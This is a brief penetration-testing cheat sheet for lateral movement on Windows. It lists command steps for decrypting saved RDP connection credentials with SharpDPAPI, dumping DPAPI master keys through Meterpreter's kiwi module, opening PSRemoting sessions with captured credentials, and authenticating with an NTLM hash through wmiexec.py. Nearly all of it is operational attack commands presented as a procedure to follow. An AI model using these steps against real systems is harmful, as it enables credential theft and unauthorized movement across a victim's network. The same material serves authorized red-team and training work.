Lateral Movement and Pivoting | Windows

Lateral Movement via RDP

- Check C:\Users\Administrator\Documents\Production-Server.edg
- Upload /root/Desktop/tools/SharpDPAPI.exe
- Open a shell session
- SharpDPAPI.exe edg /unprotected
- If master key needed
  - load kiwi
  - kiwi_cmd sekurlsa::dpapi
  - Copy GUID & SHA1 Key in this format *GUID:SHA1*
  - SharpDPAPI.exe rdg *GUID:SHA1*

Lateral Movement via PSRemoting

- Open a linux powershell session: pwsh
- $cred = Get-Credential
- *Username*
- *Password*
- Enter-PSSession – ComputerName *TARGETIP* -Authentication Negotiate -Credential $cred
- If PSRemoting is disabled on target machine
  - Have some kind of access to the machine
  - Open powershell cmd
  - Enable-PSRemoting
  - A
  - A

Lateral Movement via WMIEXEC

wmiexec.py -hashes *NTLM USER@TARGETIP*

Basic portfwarding and proxychains pivoting can be found here.